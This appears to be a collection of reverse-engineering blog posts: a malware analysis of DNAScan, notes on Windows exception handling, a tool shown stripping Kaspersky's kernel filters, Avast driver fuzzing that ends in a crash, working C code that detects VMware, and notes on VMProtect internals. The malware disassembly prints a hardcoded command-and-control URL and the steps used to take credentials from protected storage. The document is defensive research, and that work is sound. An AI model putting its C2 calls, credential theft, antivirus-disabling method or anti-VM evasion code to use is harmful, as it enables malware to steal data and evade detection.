    004058B4 PUSH EAX
    004058B5 PUSH DWORD PTR SS:[EBP-4]
    004058B8 PUSH DWORD PTR SS:[EBP-0C]
    004058BB CALL; Jump to wininet.FindNextUrlCacheEntryA
    004058C0 JMP SHORT 0040588B
    004058C2 PUSH DWORD PTR SS:[EBP-0C]
    004058C5 CALL; Jump to wininet.FindCloseUrlCache
    this piece of code scans Url Cache to find the previously seen IP address and if discovered, removes it with DeleteUrlCacheEntry.

    Code:
    00405937 PUSH EAX
    00405938 PUSH OFFSET srcdll.0040A872; ASCII "http://91.213.94.130/cgi-bin/options.cgi?user_id=373125111&version_id=17
    &passphrase=fkjvhsdvlksdhvlsd&socks=9180&version=132&crc=00000000"
    0040593D PUSH 0
    0040593F CALL; Jump to urlmon.URLOpenBlockingStreamA
    Creates a blocking type stream object from a URL and downloads the data from the Internet. When the data is downloaded the client application or control can read it by using the IStream::Read method.

    By analysing the URL we can extract the following informations:

    Code:
        * user_id=373125111
        * version_id=17
        * passphrase=fkjvhsdvlksdhvlsd
        * socks=9180
        * version=132
        * crc=00000000
    When you step URLOpenBlockingStreamA be aware that this function presents thread and fiber functionalities to speed up and make an easier analysis approach just detach for one step the New Thread Break Event. If incidentally you have this Event enabled, surf between threads with Execute till Return and Run Actual Thread.

    _Next Thread_

    Here the malicious application scans into C:\Documents and Settings\evilcry\Cookies\ cookie by cookie

    Code:
    00408305 PUSH DWORD PTR SS:[EBP+8]; ASCII "C:\Documents and Settings\evilcry\Cookies\"
    00408308 PUSH EDI
    00408309 CALL; Jump to kernel32.lstrcpyA
    0040830E MOV EDX,DWORD PTR SS:[EBP-8]
    00408311 LEA EDX,[EDX+2C]
    00408314 PUSH EDX
    00408315 PUSH EDI
    00408316 CALL; Jump to kernel32.lstrcatA
    0040831B PUSH EDI
    0040831C CALL; Jump to kernel32.DeleteFileA
    00408321 PUSH DWORD PTR SS:[EBP-8]
    00408324 PUSH DWORD PTR SS:[EBP-4]
    00408327 CALL; Jump to kernel32.FindNextFileA
    0040832C TEST EAX,EAX
    0040832E JNE SHORT 004082E5
    00408330 PUSH DWORD PTR SS:[EBP-4]
    00408333 CALL; Jump to kernel32.FindClose
    Successively by using ad usual CreateToolhelp32Snapshot and Process32First/Process32Next and WriteProcessMemory DNAScan injects some pieces of code in various system processes. This is essentially not useful for our analysis scopes actually.


    Code:
    0040795B 55 PUSH EBP
    0040795C 8BEC MOV EBP,ESP
    0040795E 83C4 F8 ADD ESP,-8
    00407961 53 PUSH EBX
    00407962 E8 57F6FFFF CALL 00406FBE
    Inside the call

    Code:
    00406FC9 PUSH OFFSET srcdll.0040B87E
    00406FCE PUSH 1
    00406FD0 PUSH 0
    00406FD2 CALL; Jump to OLE32.CreateStreamOnHGlobal
    The CreateStreamOnHGlobalfunction creates a stream object that uses an HGLOBAL memory handle to store the stream contents. This object is the OLE-provided implementation of the IStream interface.


    Code:
    00406FE1 PUSH OFFSET srcdll.0040B87A
    00406FE6 PUSH srcdll.00401B50; ASCII "pstorec.dll"
    00406FEB CALL 00406F71; Loads from pstorec.dll PStoreCreateInstance
    00406FF0 TEST EAX,EAX
    00406FF2 JE SHORT 00407033
    00406FF4 PUSH OFFSET srcdll.0040B882
    00406FF9 PUSH srcdll.00401B73; ASCII "crypt32.dll"
    CALL 00406F71; Loads from crypt32.dll CryptUnprotectData
    
    00407009 PUSH EAX
    0040700A PUSH EAX
    0040700B PUSH EAX
    0040700C LEA EDX,[40B876]
    00407012 PUSH EDX
    00407013 CALL DWORD PTR DS:[40B87A];PStoreCreateInstance
    Protected Storage (Pstore) is available for use in Windows ...
    Categories
    Reverse Engineering
  10. KiTrap06(#UD)

    Under certain conditions, the processor generates a # UD using the prefix Lock. ISR KiTrap06 handles the exception and, depending on the availability prefix Lock returns STATUS_ILLEGAL_INSTRUCTION or STATUS_INVALID_LOCK_SEQUENCE. In XP, the ISR mistake, simple search in the first 4 bytes of instruction and prefix Lock, if it is found returns STATUS_INVALID_LOCK_SEQUENCE. Ie for instructions ud2/Lock/.. will be thrown with the code STATUS_INVALID_LOCK_SEQUENCE. The kernel looks for the prefix after the instructions
    In W7 mechanism changed. Searches for a prefix Lock in the first 5 bytes of instruction, and search through sequential extraction byte instructions and scan the table prefixes. Ie an exception with code STATUS_INVALID_LOCK_SEQUENCE generated only if among the first 5 prefix is a prefix Lock, otherwise an exception is thrown with the code STATUS_ILLEGAL_INSTRUCTION. This happens on XP with ISR #GP(KiTrap0D) - checked 15 bytes for the presence of a prefix and if it is not returned STATUS_ILLEGAL_INSTRUCTION, otherwise the code is returned STATUS_PRIVILEGED_INSTRUCTION. In fact it does nothing, only unnecessary problems in the processing of exceptions (the most terrible is the trace exception manager). We antiviral emulators with this problem
    AVG simulates the generation of exceptions STATUS_INVALID_LOCK_SEQUENCE, if you have at least one prefix Lock.
    Example: http://paste.org.ru/?lwfzkv
    Categories
    Uncategorized
  11. Filter Monitor 1.0.1

    This week, after months of development of bigger projects, I found some time to windbg "ntoskrnl.exe" and write a utility. It is called Filter Monitor and shows some key filters installed by kernel mode components.

    http://www.youtube.com/watch?v=5iIeISGoHxM

    “As you probably all know the Service Descriptor Table has been a playground on x86 for all sorts of things: rootkits, anti-viruses, system monitors etc. On x64 modifying the Service Descriptor Table is no longer possible, at least not without subverting the Patch Guard technology.

    Thus, programs have now to rely on the filtering/notification technologies provided by Microsoft. And that’s why I wrote this little utility which monitors some key filters.

    Since I haven’t signed the driver of my utility, you have to press F8 at boot time and then select the “Disable Driver Signature Enforcement” option. If you have a multiple boot screen like myself, then you can take your time. Otherwise you have to press F8 frenetically to not miss right moment.

    A disclaimer: the boot process can be a bit annoying, but the utility should be used on virtualized systems anyway, as I haven’t fully tested it yet. I doubt that it will crash your system, I guess the worst scenario is that it won’t list some filters. It should work on any Windows system starting from Vista RTM and I have provided an x86 version and an x64 version. But the truth is that I have tested only the x64 version on Windows 7 RTM. Last but not least, I can’t guarantee that this utility will work on future versions of Windows, it relies heavily on system internals.

    Now, let’s run it. The supported filters/notifications at the time are these: Registry, Create Process, Create Thread and Load Image. “Registry” stands for CmRegisterCallback filters. “Create Process” for PsSetCreateProcessNotifyRoutine callbacks. “Create Thread” for PsSetCreateThreadNotifyRoutine callbacks. And “Load Image” for PsSetLoadImageNotifyRoutine callbacks.

    The “Additional Info” in the list view provides internal information like the address of the callback function.

    There are some default filters registered by system components, but, as you can notice, there are also Kaspersky components. That’s because some filters (like the registry filter) are not used by system components and I needed a tool which would make use of these filters for my little demonstration.

    The version of Kaspersky I have installed is the latest one available on the internet which is: 9.0.0.463.

    I created for this demonstration a little executable called “k-test” (what you see on the desktop are three copies of the same executable) which copies itself in a directory called “borda” in the “Roaming” directory of the operating system. It then creates a value in the Run key of the registry to execute itself at each start-up. Finally, it launches itself from the “Roaming” directory and ends.

    This is a typical malware behavior. Beware that the signature of the application itself is not contained in the databases of Kaspersky as I have written it on the fly, but it detects the suspicious behavior, stops execution and deletes the file. And it does this every time I launch the test application.

    Now let’s get to the part where I show an additional functionality of the Filter Monitor which is the ability to remove registered filters and see what happens if I remove the filters installed by klif.sys, which is the “Kaspersky Lab Interceptor and Filter” driver. As the name suggests, this driver intercepts and filters: it installs all four of typologies of filters listed by the Filter Monitor. On x86 instead of calling CmRegisterCallback it additionally hooks about 60 functions of the Service Descriptor Table (which is a lot), but that’s no longer possible on x64.

    So, let’s remove the filters and re-launch k-test. It works now.

    Final disclaimer: It is not my intent to comment on security features of anti-viruses, I just wanted to present my new tool and show its functionalities. I was already familiar with the internals of Kaspersky before writing this utility.

    I hope you enjoyed the presentation.”


    P.S. A huge thanks goes to Alessandro Gario for providing me with all the different versions of ntoskrnl.exe.
    Categories
    Uncategorized
  12. Device Drivers Vulnerability Research, Avast a real case

    In the past days I worked intensively on Antivirus’s Device Drivers bugs, at the actual state of art the major part of well known AVs suffer of basical and more hidden bugs. The totality of AVs that I’ve checked presents defects that could be maliciously used to takeover an Antivirus Infrastructure and in some case the entire Operating System with attacks like DoS and/or Remote/Local Privilege Escalation.

    I want to make a precisation here, exists an important difference between Bug and Vulnerability, simply bugs does not affects the integrity of a system and does not constitute a true danger. Vulnerabilities constitutes an effective risk for systems integrity, included informations contained inside it. When we are dealing with applications specifically devoted to security, every bug could be considered a vulnerability, because an attacker could block/kill overcome checks performed by the application itself and propagate in system and produce damages. Just think to a basical crash that could affect an Antivirus could be implemented into a malicious application that checks the presence of AVs and induces the bug.

    In this little post we are going to see some defects of last device drivers used by Avast, I’m precisely talking of

    Build Number: 4.8.1351.0

    Avast loads the following drivers:

    • Aasvmker4.sys
    • aswMon2.sys
    • aswRdr.sys
    • aswSP.sys



    Avast loads the following Drivers could be tested by fuzzing IOCTLs, for this task could be used IOCTL Fuzzer and Kartoffel. Let’s disassemble the first driver, Aavmker4.sys that from DeviceIoControl hook appears to be heavy used. This is the DriverEntry()drivers

    Code:
    00010748 mov eax, [ebp+DriverObject]
    0001074B push offset NotifyRoutine ; NotifyRoutine
    00010750 mov dword ptr [eax+70h], offset sub_1098C ; DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)sub_1098C;
    00010757 call PsSetCreateProcessNotifyRoutine
    sub_1098C contains the switch statement to handle various IOCTL notifications, essentially IOCTL check is structured in form of nested If and Switches.

    Code:
    001098C ; int __stdcall sub_1098C(int, PIRP Irp)
    000109C4 mov ecx, 0B2D6002Ch
    000109C9 cmp eax, ecx
    000109CB ja loc_10D12
    000109D1 jz loc_10CE9
    Checks if IOCTL is less or equal to 0×0B2D6002C, if condition is true checks if IOCTL is exactly 0×0B2D6002C a certain task is performed by the device driver and finally ends with a classical
    epilogue:

    Code:
    IofCompleteRequest(X, 0);
    return value;
    By monitoring Aavmker4.sys activity, with a DeviceIoControl hook emerges that the most used IOCTLs are:

    • 0xB2D60030
    • 0xB2D60034



    Now we have two possibilities the first is to fuzz these IOCTLs and check crash dump if happens and after check code for more details, the second possibility is to invert the check order.

    This the xml configuration to test Aavmker4.sys

    Code:
    <allow>
    <drivers>
    <entry>Aavmker4.sys</entry>
    </drivers>
    <devices>
    <entry>\Device\AavmKer4</entry>
    </devices>
    
    <ioctls>
    <entry>0xb2d60030</entry>
    <entry>0xb2d60034</entry>
    </ioctls>
    <processes>
    <entry>ashServ.exe</entry>
    </processes>
    </allow>
    launch fuzzer and Avast Scan, as you can see Driver resists to Fuzzing attempts, its time to see code referred to 0xB2D60030 and 0xB2D60034.

    0xB2D60030

    Code:
    00010D25 cmp eax, 0B2D60030h
    00010D2A jz short loc_10DA8
    00010D2C cmp eax, 0B2D60034h
    00010D31 jz short loc_10D5B
    00010DC5 mov edi, [ebx+0Ch]
    00010DC8 cmp esi, 878h
    00010DCE jz short loc_10DDA ;Check buffer size
    00010DD0 push offset aIoctl_aavm_sta ; “******* IOCTL_AAVM_START_REQUEST_AND_SE”…
    00010DD5 jmp loc_10ABA ;Jump to Io Completion
    If buffer size differs from 878h Dbg Prints an error message, else supplied buffer is correctly sanitized via MmUserProbeAddress, MmIsAddressValid. We can say that this IOCTL is correctly handled.

    0xB2D60034:

    Code:
    00010D5B cmp esi, 8
    00010D5E jnz loc_10AC0 ;If differs from 8 return STATUS_INVALID_PARAMETER
    00010D64 call PsGetCurrentProcessId
    Now let’s test aswSP.sys. In Device Driver vulnerabilty research it’s fundamental to have a complete log of all activities of a driver, this can be obtained by correctly planning a battery of test unit. Each test should correspond to a primitive logic operation performed by an application that makes use of driver. I usually build several mini logs for each activity and finally a complete log. Here a little list of monitoring primitives:


    • On Load
    • On apparent Idle
    • On Working
    • On Shutdown
    • Various, like On Surprise Stop



    This will give us a complete report of all activities and involved IOCTL. In the specific case of aswMon2.sys we can isolate the following:


    • * 0xb2c80018
    • * 0xb2c80014
    • * 0xb2c80020
    • * 0xB2c800C0
    • * 0xB2c800C4
    • * 0xB2c800C8


    From IOCTL Logger we can see that 0xB2c800C0 is heavly used, time to locate Ioctl Dispatcher:

    Code:
    0001178B and dword ptr [ebx+34h], 0
    0001178F mov dword ptr [ebx+6Ch], offset sub_11FB6
    00011796 mov dword ptr [ebx+28h], offset off_18988
    C like:
    Code:
    v2->DriverUnload = 0;
    v2->MajorFunction[13] = (PDRIVER_DISPATCH)sub_11FB6;
    v2->FastIoDispatch = (PFAST_IO_DISPATCH)&unk_18988;
    with a bit of research we land to sub_10B82 that contains the switch for Ioctls.

    Code:
    00010BBD mov eax, 0B2C80018h
    00010BC2 cmp ecx, eax
    00010BC4 push edi
    00010BC5 ja loc_11066
    00010BCB jz loc_10F70
    00010BD1 cmp ecx, 0B2C80008h
    00010BD7 jz short loc_10C3C
    00010BD9 cmp ecx, 0B2C8000Ch
    00010BDF jz short loc_10C16
    00010BE1 cmp ecx, 0B2C80010h
    00010BE7 jz short loc_10BFF
    00010BE9 cmp ecx, 0B2C80014h
    00010BEF jnz loc_111AC
    00010BF5 call sub_108BC
    From logs emerged that the most frequently used is 0B2C8000C so it’s obvious that we will study this for first:

    0xB2C8000C:

    Code:
    00010C16 cmp [ebp+arg_C], 1448h
    00010C1D jnz loc_111AC ;check len
    00010C23 mov esi, [ebp+SourceString]
    00010C26 mov ecx, 512h
    00010C2B mov edi, offset dword_18A58
    00010C30 rep movsd
    00010C32 call sub_108F0
    00010C37 jmp loc_112C1 ;go out
    In this case user supplied input is correctly sanitized, so 0xB2C8000C can be excluded from fuzz testing. From the log On Shutdown emerged the massive presence of 0xB2c80018, so let’s fuzz it. Here the configuration for IOCTL Fuzzer:

    Code:
    <?xml version=”1.0″ encoding=”windows-1251″?>
    <cfg>
    <log_file>C:\ioctls.txt</log_file>
    <hex_dump>true</hex_dump>
    <log_requests>true</log_requests>
    <debug_log_requests>true</debug_log_requests>
    <fuze_requests>true</fuze_requests>
    <fuze_size>true</fuze_size>
    <allow>
    <drivers>
    <entry>aswMon2.SYS</entry>
    </drivers>
    <devices>
    <entry>\Device\aswMon</entry>
    </devices>
    <ioctls>
    <entry>0xb2c80018</entry>
    </ioctls>
    <processes>
    <entry>ashServ.exe</entry>
    </processes>
    </allow>
    <deny>
    <drivers>
    
    <entry>aswSP.SYS</entry>
    <entry>Aavmker4.SYS</entry>
    <entry>aswTDI.SYS</entry>
    </drivers>
    <ioctls>
    
    <entry>0xb2c8000c</entry>
    <entry>0xb2c80014</entry>
    <entry>0xb2c80020</entry>
    </ioctls>
    </deny>
    </cfg>
    The config script allows only 0xB2c80018 sent from aswMon, other drivers are locked. Obviously fuzzing need to follow the log unit that evidenced out IOCTL, so run fuzzer and stop all Avast services.

    Bang..a BSOD, discovered an Avast vulnerability into aswMon2.sys

    From crashdump:

    kd> !analyze -v

    UNEXPECTED_KERNEL_MODE_TRAP_M
    Arguments:
    Arg1: 00000008, EXCEPTION_DOUBLE_FAULT
    Arg2: 80042000
    Arg3: 00000000
    Arg4: 00000000_KERNEL_MODE_TRAP_M (1000007f)
    STACK_TEXT:
    WARNING: Stack unwind information not available. Following frames may be wrong.
    f76f3234 8053d251 f76f3250 00000000 f76f32a4 nt+0×600fa
    f76f32a4 8052c712 badb0d00 20a0a0a1 f76f5658 nt+0×66251
    f76f3328 8052c793 41414141 00000000 f76f377c nt+0×55712
    f76f33a4 804fc700 f76f377c f76f3478 05050505 nt+0×55793
    f76f3760 8053d251 f76f377c 00000000 f76f37d0 nt+0×25700
    f76f37d0 8052c712 badb0d00 20a0a0a1 f76f5658 nt+0×66251
    f76f3854 8052c793 41414141 00000000 f76f3ca8 nt+0×55712
    f76f38d0 804fc700 f76f3ca8 f76f39a4 05050505 nt+0×55793
    f76f3c8c 8053d251 f76f3ca8 00000000 f76f3cfc nt+0×25700
    f76f3cfc 8052c712 badb0d00 20a0a0a1 f76f5658 nt+0×66251
    f76f3d80 8052c793 41414141 00000000 f76f41d4 nt+0×55712
    f76f3dfc 804fc700 f76f41d4 f76f3ed0 05050505 nt+0×55793
    f76f41b8 8053d251 f76f41d4 00000000 f76f4228 nt+0×25700
    f76f4228 8052c712 badb0d00 20a0a0a1
    ...
  13. Binary-Auditing Solutions.

    by , September 3rd, 2009 at 23:39 (BanMe.From.Native_Development)
    I am Currently working on the C++ Fundementals,and will be presenting my solutions here. As the Downloads have just been released.. I currently dont have any solutions ready,but I'm working on the PH of Coffee and that solution should be ready tommorow..this will be updated soon with further posts and solutions soon, hopefully I will be able to complete 'most' solutions in code that only uses ntdll,but I know that not 'all solutions' will be allow me to take this route.

    If you are also working on this line of learning,
    Contact me and maybe we can do it together..

    BanMe
    Categories
    Uncategorized
  14. VMware ring3 detection (RF handling)

    Hello,

    Here is one trick to detect vmware discovered by accidance

    I was writing one unpacker, and for me RF was must have to make my unpacker simpler. Unpacker worked great on live system, and then I tried it in vmware, and I got many breaks at same part of the code which should be continued with RF.

    RF from intel manual volume 3, chapter 18:

    Code:
    Because the debug exception for an instruction breakpoint is generated before the
    instruction is executed, if the instruction breakpoint is not removed by the exception
    handler; the processor will detect the instruction breakpoint again when the instruction
    is restarted and generate another debug exception. To prevent looping on an
    instruction breakpoint, the Intel 64 and IA-32 architectures provide the RF flag
    (resume flag) in the EFLAGS register (see Section 2.3, “System Flags and Fields in
    the EFLAGS Register,” in the Intel® 64 and IA-32 Architectures Software Developer’s
    Manual, Volume 3A). When the RF flag is set, the processor ignores instruction
    breakpoints.
    Basically waht debugger would do with break point is:
    - breakpoint reached -> clear breakpoint
    - single step that instruction
    - set breakpoint after singlestep
    - continue execution
    - too much not needed work...

    For DebugRegister breaks on execution, you can simplfy this by setting RF in Eflags, and you don't have to remove your breakpoint on execution.

    So here is how to detect VMWare presence using debug registers due to wrong RF handling:

    Code allocates memory and stores there 0xC3, after that program generates exception to set debug registers. In exception handler code checks if exception occured 1st time (1st debug break) and sets RF (eg. continue execution), after that if exception occurs 2nd time, means that RF wasn't handled and that we have vmware (didn't try with other virtual machines).

    main.c
    Code:
    #include        "defs.h"
    
    PVOID   buffer;
    DWORD   dwExceptionCount;
    
    ULONG   filter(PEXCEPTION_INFO pei){
            PCONTEXT pctx;
            
            pctx = pei->pContext;
            if (dwExceptionCount == 0){
                    dwExceptionCount++;
                    pctx->Dr7 = BPM_LOCAL_EXACT | BPM0_LOCAL_ENABLED;
                    pctx->Dr0 = (DWORD)buffer;
                    pctx->Eip += 2;
                    NtContinue(pctx, FALSE);
            }else if (dwExceptionCount == 1){
                    dwExceptionCount++;
                    pctx->EFlags |= 0x10000;
                    NtContinue(pctx, FALSE);
            }else if (dwExceptionCount == 2){
                    printf("[X] vmware detected\n");
                    ExitProcess(0);
            }
            
            return EXCEPTION_EXECUTE_HANDLER;        
    }
    
    void __declspec(naked) hook_filter(void){
            __asm push      esp
            __asm call      filter
    }
    
    int __cdecl wmain(int argc, wchar_t **argv){
            VOID    (*func)();
            DWORD   dwOldProt;
            PUCHAR  kiuser;
            printf("[*] ring3 VMWARE detection - (c) 2009 deroko of ARTeam\n");
            kiuser = (PUCHAR)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "KiUserExceptionDispatcher");
            
            VirtualProtect(kiuser, 7, PAGE_EXECUTE_READWRITE, &dwOldProt);
            kiuser[0] = 0x68;
            *(DWORD *)&kiuser[1] = (DWORD)hook_filter;
            kiuser[5] = 0xc3;
                        
            buffer = func = VirtualAlloc(0, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            *(DWORD *)func = 0xC3909090;
            
            __asm xor eax, eax
            __asm mov eax, [eax]
            func();
            
            printf("[*] vmware not detected\n");
            ExitProcess(0);
    }

    defs.h
    Code:
     
    #include        <windows.h>
    #include        <stdio.h>
    
    // Dr6
    #define BPM0_DETECTED                    0x00000001
    #define BPM1_DETECTED                    0x00000002
    #define BPM2_DETECTED                    0x00000004
    #define BPM3_DETECTED                    0x00000008
    
    // Dr7
    #define BPM0_LOCAL_ENABLED               0x00000001
    #define BPM0_W                           0x00010000
    #define BPM0_RW                          0x00030000
    
    #define BPM1_LOCAL_ENABLED               0x00000004
    #define BPM1_W                           0x00100000
    #define BPM1_RW                          0x00300000
    
    #define BPM2_LOCAL_ENABLED               0x00000010
    #define BPM2_W                           0x01000000
    #define BPM2_RW                          0x03000000
    
    #define BPM3_LOCAL_ENABLED               0x00000040
    #define BPM3_W                           0x10000000
    #define BPM3_RW                          0x30000000
    
    #define BPM_LOCAL_EXACT                  0x00000100
    
    typedef LONG NTSTATUS;
    
    NTSTATUS
    NTAPI
    NtContinue(__in PCONTEXT ctx, BOOL Alertalbe);
    
    typedef struct{
    	PULONG ExceptionCodeAddress;
    	PCONTEXT   pContext;
    	ULONG  ExceptionCode;
    	ULONG  ExceptionFlags;
    	PULONG ExceptionRecord;
    	ULONG  ExceptionAddress;
    	ULONG  NumberOfParameters;
    	ULONG  ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
    }EXCEPTION_INFO, *PEXCEPTION_INFO;

    output of the program running in vmware:
    Code:
    [*] ring3 VMWARE detection - (c) 2009 deroko of ARTeam
    [X] vmware detected
    output of the program running on live system:

    Code:
    [*] ring3 VMWARE detection - (c) 2009 deroko of ARTeam
    [*] vmware not detected

    Hope you find it usefull
    Categories
    Uncategorized
  15. VMprotect VM_logic (in v1.8 demo)

    Code:
    *******
    VM-protect hides CPU instruction by dividing single instruction into many VM_opcodes.
    But correct VM must fully reproduce CPU instructions and care about
    correct result in EFlags, so any kind simulation is not acceptable!
    lets look at VM_handlers
    
    VM_handlers ( ~71 )
    (SA = StackAdd , SS = StackSub)
    
    AddByteByte_SS2
    AddWordWord_SS2
    AddDwordDword
    Div168_SS2
    Div3216_SS2
    DIV6432
    ExitVM
    
    IDIV168_SS2
    IDIV3216_SS2
    IDIV6432
    
    IMUL88_SS2
    IMUL1616_SS4
    IMUL3232_SS4
    
    MUL88_SS2
    MUL1616_SS4
    MUL3232_SS4
    
    NotNotAndByte_SS2
    NotNotAndWord_SS2
    NotNotAndDword
    
    PopBP
    PopEBP
    PopfD_SA4  (mostly used on VM_STD, VM_CLD)
    LoadVmIP_SA4
    
    PopMemByte_SA6
    PopMemByteSS_SA6
    PopMemByteES_SA6
    PopMemWord_SA6
    PopMemWordSS_SA6
    PopMemWordES_SA6
    PopMemDword_SA8
    PopMemDwordSS_SA8
    PopMemDwordES_SA8
    (also can be for CS,FS,GS case)
    
    PopByteToVMRegsImmID_SA2
    PopWordToVMRegsImmID_SA2
    PopDwordToVMRegsOpcID_SA4
    ^^^^
    PushByteFromVMRegsImmID_SS2
    PushWordFromVMRegsImmID_SS2
    PushDwordFromVMRegsOpcID_SS4
    ^^^^for byte/word/dword parts access in VM-Registers ( EAX,  AX, AL)
    
    PushBP_SS2  (push VM_SP)
    PushEBP_SS4  (push VM_ESP)
    
    PushwImmUByte_SS2
    PushdImmSByte_SS4
    PushwImmWord_SS2
    PushdImmSWord_SS4
    PushImmDword_SS4
    
    PushMemByte_SA2
    PushMemByteSS_SA2
    PushMemByteES_SA2
    PushMemWord_SA2
    PushMemWordSS_SA2
    PushMemWordES_SA2
    PushMemDword
    PushMemDwordSS
    PushMemDwordES
    (also can be for CS,FS,GS case)
    
    RclByte_SS2
    RclWord_SS2
    RclDword_SS2
    RcrByte_SS2
    RcrWord_SS2
    RcrDword_SS2
    
    SHLD_SA2
    SHRD_SA2
    ShlByte_SS2
    ShlDword_SS2
    ShlWord_SS2
    ShrByte_SS2
    ShrDword_SS2
    ShrWord_SS2
    
    tool-handlers
    PushRDTSC_SS8
    PushCPUID_SS12 (value)
    CRCsum_SA4 (pmem, size)
    
    **
    all Logical & Arithmetic Handlers, which must care on EFlags, has code to store Eflags:
    
    pushfd
    pop    d, [ebp+0]
    
    then after such handler VM will always call PopDwordToVMRegsOpcID_SA4
    for store EFlags into VM-Registers (intermediate or main).
    so we can state, they are VM-opcode-pairs
    
    
    ***
    in VM_handlers we not see exact handlers for And/Or/Not/Xor/Sub/Rol... instructions;
    How are they emulated!?
    
    For Logical-instructions author builds main VM-handler "NotNotAnd";
    it's assembly  code looks so:
    
    Mov eax [ebp+0]
    Mov edx [ebp+4]
    Not  eax
    Not  edx
    And eax edx
    Mov [ebp+4] eax
    Pushfd
    Pop  d,[ebp+0]
    
    NotNotAnd (var1, var2) = And (Not var1) (Not var2)
    
    and seems it is NOR LOGIC GATE!
    (below i will leave name  "NotNotAnd"; I wrote this before did search,
     but you can search in internet for "NOR LOGIC" and see all in images!)
    
    Other main logical instuctions will done via this NOR LOGIC GATE.
    This sequence produces valid result in EFlags for emulated logical instructions,
    so no further works need on EFlags.
    
    VM_NOT (A) = NotNotAnd (A, A)
    
    PushEBP_SS4 + PushMemDwordSS  =  push dword[esp]
    usually uses in VM_NOT, to prevent dubble calculation
    
    VM_AND (A, B) = NotNotAnd {VM_NOT (A), VM_NOT (B)}
                  = NotNotAnd {NotNotAnd (A, A) , NotNotAnd (B, B)}
    
    VM_TEST  = VM_AND ; result value stored in intermediate VM-regs, discarded
    
    VM_OR (A, B) = VM_NOT [NotNotAnd (A, B)]
                 = NotNotAnd {NotNotAnd (A, B) ,  <SamePushed }
    
    VM_XOR (A, B) = NotNotAnd {NotNotAnd (A, B)} {VM_AND (A, B)}
                  = NotNotAnd {NotNotAnd (A, B)} {NotNotAnd [NotNotAnd (A, A) , NotNotAnd (B, B)]}
    
    VM_AND has also truncated variant, if one parameter is Immediate value.
    VMprotect compiles Immediate value already inverted, so part VM_NOT(Immediate) skipped
    in VM_AND construction. (see "AND ecx 7 " example; also in EFlags management)
    
    
    Rol,Ror,Sar are emulated via SHLD & SHRD  handlers;
    
    
    VM_RCL and VM_RCR will handled by RclDword_SS2 & RclDword_SS2 handlers,
    for which Carry-Flag should extracted from VM_regs_Eflags;
    then instuction in handler-code "SHR CH, 1" will load extracted CFlag & do RCL/RCR
    
    
    
    VM_ADD is normal Addition
    for other Arithmetic-instructions VM uses VM_ADD + logic constructions for EFlags management
    (but for decompiling they are useless junk!)
    
    VM_ADC (A, B) = VM_ADD(A, (B+Carry_flag))
    
    VM_SUB (A, B) = VM_NOT [VM_ADD {B, (VM_NOT A)}] 
                EFlags = [And(0815, VM_ADD>>EFlags)] + [And( {Not(0815) }, final-VM_NOT>>EFlags)]
    (virtualized into 36 VM-bytes)
    
    VM_SBB (A, B) = VM_SUB(A, (B+Carry_flag))
    
    VM_CMP = VM_SUB ; result value stored in intermediate VM-regs, discarded
    
    VM_NEG (A) = VM_SUB (0, A)  ;   (constant 0 is already  inverted)
    
    Inc & Dec instructions in CPU not affects Carry-flag, so Carry-flag should leaved in previous state.
    VM_INC (A) = VM_ADD(1, A)
    	Carry-flag restore in EFlags
    VM_DEC (A) = VM_ADD(-1, A)
    	Carry-flag restore in EFlags | Align-Flag managing
    
    ......
    VMprotect virtualizes also CPU's complex-instructions,
    if such can be represented by simple instructions.
    
    VM_SETLE (virtualized into 80 VM-bytes!)
    there will huge EFlags testing and produced result_byte will copied into destination.
    
    VM_CMOVLE
    same kind EFlags testing as SETLE, + VM_Conitional_Jump
    
    for example VM_MOVSB
    this complex-instruction is re-presented into simple instructions assembly group,
    then this group virtualized.
    
    VM_BSWAP is done in following way (27 VM-bytes)
    HiWord(result) = HiWord {Shl (LoWord_LoWord) 8}
    LoWord(result) = HiWord {Shl (HiWord_HiWord) 8}
    
    VM_XADD
    VM does same as CPU
    
    VM_XCHG !?
    while VMprotect author cares about LOCK prefix & not virtualizes instruction with it,
    author did mistake and virtualized XCHG instruction.. oops!
    to prevent XCHG virtualization, author recommends LOCK prefix
    
    ......
    for FLD, FSTP instructions memory content will copied on stack, & load-store from there.
    
    ......
    VM-Registers space is 16 dwords.
    8 of them are for Eax,Ecx,Edx,Ebx,Ebp,Esi,Edi,EFlags ;
    Esp is directly assigned to VM_stack(Ebp) ;
    2 used for Relocation-Difference & passed_Mem_pointer ;
    other  6  are used for temporal storage. mostly for intermediate EFlags,
    also for intermediate or temporal results (VM_TEST, VM_CMP), also for cleanup VM-stack;
    look at VM_SUB, where 2-intermediate Eflags will used in calculation.
    
     Place of real registers in this space is different not only for every other VM,
    but also can change inside one VM!
    Register read from one place, after CAN placed on intermediate place and
    old place become intermediate. so VM-Registers tracking need!
    
    
    ......
    VM-entry works so:
    
    we are at current stack; lets call it TOP-ESP
    at original Opcode place VMprotect puts call to VM:
    
    push offset-VM_IP
    call VM-StartCode
    ,,,,
    VM-StartCode:
    
    push Registers, EFlags ; << Order of push CAN be other then order of pop on ExitVM!
    push [passed_pointer_for_security  + "crypt-constant" ] 
    ; <<new from 1.8, passed from StartupVM, which  allocates this memory,
    ; resolves imports, does file CRC-check,
    push 0 ; Relocation-Difference
    mov  esi, [esp+030] ; offset-VM_IP
    mov  ebp, esp ; ebp will VM-stack
    sub  esp, 0C0 ; 040 bytes reserved for 16 VM-Registers, other free 080 byte space will used
                  ; for user-pushed-variables. if too low become VM-stack, then VM-Registers will
                  ; moved down
    mov  edi, esp ; edi holds VM-Registers pointer
    
    add  esi, [ebp+0] ; add Relocation-Difference to offset-VM_IP
    			; also here jumps LoadVmIP handler
    
    and now code is on VM_main_loop:
    {VM_main_loop has 2 variations, down-read VM-bytes as below, or inverse - up-read}
    
    mov    al,[esi]
    movzx  eax,al
    inc    esi
    jmp    [JumpTable + eax*4]
    
    here starts  VM_BLOCK execution,
    which will move all pushed by VM-StartCode Registers/EFlags/others to VM-Registers space,
    until VM-Stack(ebp) will reach TOP-ESP.
    
    now starts virtualized user-code execution;
    
     ......
    VM-exit works so:
    
    VM-stack(Ebp) is at TOP-ESP; (can be above start value, if Ret_nn emulated or Esp changed)
    now VM executes VM_BLOCK-Epilog-bytes, which will pop all required values (+ return_IP).
    from VM-Registers_space to stack and Ebp is ready for ExitVM-handler;
    then last VM-byte will call ExitVM-handler,
    which pops all from stack to Registers/EFlags and does Ret to return_IP.
    
    
